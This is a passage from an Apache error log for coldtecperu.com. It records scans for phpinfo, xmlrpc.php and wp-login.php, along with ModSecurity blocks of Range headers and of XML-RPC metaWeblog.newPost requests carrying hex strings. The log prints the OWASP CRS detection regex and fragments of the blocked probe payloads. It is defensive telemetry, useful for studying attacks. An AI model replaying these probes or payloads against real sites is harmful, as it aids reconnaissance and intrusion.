/home/coldtecp/public_html/profiler.php [Tue Aug 12 07:48:08.902751 2025] [:error] [pid 31097:tid 31112] [client 109.237.96.77:40786] File does not exist: /home/coldtecp/public_html/api.php [Tue Aug 12 07:48:13.797250 2025] [:error] [pid 31547:tid 31554] [client 109.237.96.77:40796] File does not exist: /home/coldtecp/public_html/example.php [Tue Aug 12 15:28:12.799297 2025] [:error] [pid 31547:tid 31561] [client 173.252.87.8:55000] [client 173.252.87.8] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJuj3I6nHsqpEhjRboyFiAAAAMw"] [Tue Aug 12 15:42:13.190179 2025] [:error] [pid 31097:tid 31115] [client 173.239.211.9:55120] File does not exist: /home/coldtecp/public_html/_phpinfo.php [Tue Aug 12 15:42:14.587091 2025] [:error] [pid 31097:tid 31123] [client 45.130.83.200:55122] File does not exist: /home/coldtecp/public_html/pi.php [Tue Aug 12 15:42:16.285962 2025] [:error] [pid 31097:tid 31125] [client 45.130.83.208:55124] File does not exist: /home/coldtecp/public_html/i.php [Tue Aug 12 15:42:16.788752 2025] [:error] [pid 31097:tid 31103] [client 45.8.19.1:55126] File does not exist: /home/coldtecp/public_html/phpinfo.php [Tue Aug 12 15:42:17.288171 2025] [:error] [pid 31097:tid 31120] [client 173.239.211.2:55128] File does not exist: /home/coldtecp/public_html/php_info.php [Tue Aug 12 15:42:18.946347 2025] [:error] [pid 31097:tid 31105] [client 45.130.83.196:55130] File does not exist: /home/coldtecp/public_html/test.php [Tue Aug 12 16:20:44.047283 2025] [:error] [pid 31097:tid 31113] [client 132.226.146.177:57510] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Aug 12 18:26:16.268500 2025] [:error] [pid 31547:tid 31551] [client 69.171.230.114:59846] [client 69.171.230.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJvNmI6nHsqpEhjRboyIEAAAAMI"] [Tue Aug 12 19:05:23.115525 2025] [:error] [pid 31098:tid 31164] [client 34.139.80.76:60730] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 13 01:56:11.663411 2025] [:error] [pid 31098:tid 31138] [client 132.226.146.177:52014] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 13 13:26:19.186956 2025] [:error] [pid 3409:tid 3435] [client 132.226.146.177:52382] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 13 15:21:06.046066 2025] [:error] [pid 3411:tid 3474] [client 83.42.188.218:35212] [client 83.42.188.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x51638516de found within XML: metaWeblog.newPost17218972189title0x51638516description0x51638516mt_keywords0x51638516mt_excerpt0x516385161"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aJzzsmomFpBE9j3Zydp1RwAAAJQ"] [Wed Aug 13 15:23:05.822082 2025] [:error] [pid 3522:tid 3528] [client 143.105.25.12:35296] [client 143.105.25.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xf9f5faa7de found within XML: metaWeblog.newPost14691546915title0xf9f5faa7description0xf9f5faa7mt_keywords0xf9f5faa7mt_excerpt0xf9f5faa71"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aJz0KS61gVWBT2IeQHDduwAAAMQ"] [Wed Aug 13 15:24:04.350214 2025] [:error] [pid 3522:tid 3525] [client 77.38.105.157:35324] [client 77.38.105.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aJz0ZC61gVWBT2IeQHDdvwAAAME"] [Wed Aug 13 16:31:29.674833 2025] [:error] [pid 3522:tid 3526] [client 172.237.29.144:37728] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 13 17:07:24.641845 2025] [:error] [pid 3411:tid 3480] [client 69.63.189.7:39038] [client 69.63.189.7] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJ0MnGomFpBE9j3Zydp2jwAAAJc"] [Wed Aug 13 23:57:45.556961 2025] [:error] [pid 15670:tid 15675] [client 185.205.184.189:47398] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Aug 14 15:23:21.584470 2025] [:error] [pid 20369:tid 20428] [client 69.171.249.115:39664] [client 69.171.249.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aJ5FuRh7p8i3uIRn2GexIwAAAIM"] [Thu Aug 14 19:39:27.465378 2025] [:error] [pid 20937:tid 20962] [client 34.74.156.129:44988] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Aug 14 19:44:44.375674 2025] [:error] [pid 20367:tid 20381] [client 217.138.216.60:45068] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Aug 14 22:05:56.413155 2025] [:error] [pid 20368:tid 20408] [client 104.28.211.190:47404] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Fri Aug 15 00:42:32.247112 2025] [:error] [pid 20369:tid 20441] [client 112.208.75.95:50374] [client 112.208.75.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xc352df39de found within XML: metaWeblog.newPost17121571215title0xc352df39description0xc352df39mt_keywords0xc352df39mt_excerpt0xc352df391"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aJ7IyBh7p8i3uIRn2Ge0HwAAAJA"] [Fri Aug 15 19:29:35.532886 2025] [:error] [pid 16506:tid 16545] [client 35.221.30.10:58012] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Aug 16 02:04:48.716020 2025] [:error] [pid 16690:tid 16705] [client 173.252.83.5:37180] [client 173.252.83.5] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKAtkByUKtObdvod-rKCLwAAAM0"] [Sat Aug 16 02:04:48.922778 2025] [:error] [pid 16690:tid 16693] [client 173.252.83.115:37182] [client 173.252.83.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKAtkByUKtObdvod-rKCMAAAAME"] [Sat Aug 16 08:33:19.377034 2025] [:error] [pid 21351:tid 21354] [client 79.119.88.125:55104] [client 79.119.88.125] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aKCIn7V3d0gMAfhseEekuAAAAME"] [Sat Aug 16 08:34:50.338024 2025] [:error] [pid 21351:tid 21358] [client 219.98.129.7:55126] [client 219.98.129.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x2483e9b8de found within XML: metaWeblog.newPost18928189281title0x2483e9b8description0x2483e9b8mt_keywords0x2483e9b8mt_excerpt0x2483e9b81"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aKCI-rV3d0gMAfhseEekvAAAAMU"] [Sat Aug 16 19:43:22.387947 2025] [:error] [pid 20813:tid 20838] [client 124.150.139.36:51372] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 17 00:25:35.725063 2025] [:error] [pid 21351:tid 21373] [client 69.171.231.3:56616] [client 69.171.231.3] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKFnz7V3d0gMAfhseEe0VQAAANQ"] [Sun Aug 17 00:36:47.093701 2025] [:error] [pid 21351:tid 21376] [client 173.252.87.114:56754] [client 173.252.87.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKFqb7V3d0gMAfhseEe0aQAAANc"] [Sun Aug 17 03:04:28.696962 2025] [:error] [pid 20815:tid 20892] [client 34.48.137.162:60388] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 17 05:41:49.133756 2025] [:error] [pid 15453:tid 15489] [client 34.148.88.109:37742] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 17 06:44:36.472278 2025] [:error] [pid 15453:tid 15494] [client 34.173.158.31:39388] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 17 10:33:27.174951 2025] [:error] [pid 15453:tid 15490] [client 34.28.148.210:44138] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Aug 17 22:35:49.605704 2025] [:error] [pid 11715:tid 11720] [client 69.171.249.126:59018] [client 69.171.249.126] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKKflVqUw_AXxqTUWzoSlwAAAMM"] [Sun Aug 17 22:50:26.126489 2025] [:error] [pid 11715:tid 11733] [client 69.171.230.14:59238] [client 69.171.230.14] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKKjAlqUw_AXxqTUWzoSrAAAANA"] [Mon Aug 18 08:59:01.735692 2025] [:error] [pid 8536:tid 8571] [client 185.205.184.188:47808] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Aug 18 19:22:25.597667 2025] [:error] [pid 8535:tid 8550] [client 34.136.80.155:51110] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Aug 19 03:33:47.261265 2025] [:error] [pid 12949:tid 12992] [client 69.171.230.8:37032] [client 69.171.230.8] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKQ265avkmtOhCZkDvRV4gAAAIw"] [Tue Aug 19 03:33:50.005227 2025] [:error] [pid 13407:tid 13415] [client 69.171.230.115:37036] [client 69.171.230.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKQ27lQ9TZUhYreu_xf5FQAAAMY"] [Tue Aug 19 04:03:07.764190 2025] [:error] [pid 12946:tid 12961] [client 77.125.137.15:37638] [client 77.125.137.15] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aKQ9y9efs7X0QKAgwdwzkQAAAAk"] [Tue Aug 19 20:07:54.142674 2025] [:error] [pid 12949:tid 12995] [client 159.89.202.9:60038] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 20 01:59:52.673050 2025] [:error] [pid 13407:tid 13417] [client 173.252.83.115:38740] [client 173.252.83.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKVyaFQ9TZUhYreu_xcIwgAAAMg"] [Wed Aug 20 07:36:04.057281 2025] [:error] [pid 6401:tid 6408] [client 146.190.98.58:46780] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 20 09:07:57.665160 2025] [:error] [pid 5860:tid 5916] [client 165.22.51.68:49946] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 20 10:11:27.934103 2025] [:error] [pid 5861:tid 5891] [client 173.252.83.9:51398] [client 173.252.83.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKXln7761tsQiYUJ8UZmVwAAAIA"] [Wed Aug 20 10:11:28.052709 2025] [:error] [pid 6401:tid 6422] [client 69.171.230.112:51400] [client 69.171.230.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKXloILOG2Mdltcg9bKk1wAAANM"] [Wed Aug 20 10:11:28.146212 2025] [:error] [pid 5861:tid 5892] [client 173.252.83.114:51402] [client 173.252.83.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKXloL761tsQiYUJ8UZmWAAAAIE"] [Wed Aug 20 10:11:28.794792 2025] [:error] [pid 6401:tid 6417] [client 69.171.230.9:51406] [client 69.171.230.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKXloILOG2Mdltcg9bKk2AAAAM4"] [Wed Aug 20 10:11:32.181019 2025] [:error] [pid 5859:tid 5872] [client 69.171.230.10:51408] [client 69.171.230.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKXlpPCZFk03XAq5CbRfmAAAAAk"] [Wed Aug 20 10:11:32.984874 2025] [:error] [pid 6401:tid 6420] [client 69.171.230.113:51410] [client 69.171.230.113] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKXlpILOG2Mdltcg9bKk2QAAANE"] [Wed Aug 20 22:56:42.790474 2025] [:error] [pid 1035:tid 1077] [client 139.59.26.37:41898] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Wed Aug 20 23:15:31.245020 2025] [:error] [pid 2679:tid 2695] [client 165.232.168.61:42140] File does not exist: /home/coldtecp/public_html/wp-login.php [Thu Aug 21 00:36:42.775449 2025] [:error] [pid 1163:tid 1176] [client 173.252.87.1:43636] [client 173.252.87.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKawajp7adNsHdam_-OVbQAAAMs"] [Thu Aug 21 01:05:27.600454 2025] [:error] [pid 2679:tid 2698] [client 165.232.168.61:44928] File does not exist: /home/coldtecp/public_html/wp-login.php [Thu Aug 21 08:54:35.681517 2025] [:error] [pid 1955:tid 1960] [client 69.171.249.1:37080] [client 69.171.249.1] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aKclG32V3p9J5T-rvaQ4kAAAAMM"] [Thu Aug 21 19:42:39.287312 2025] [:error] [pid 1139:tid 1225] [client 146.70.179.44:52062] [client 146.70.179.44] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aKe8_9ftuHRlB3PLg_is7AAAAJU"] [Thu Aug 21 19:43:54.770186 2025] [:error] [pid 1138:tid 1189] [client 73.136.145.155:52186] [client 73.136.145.155] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id 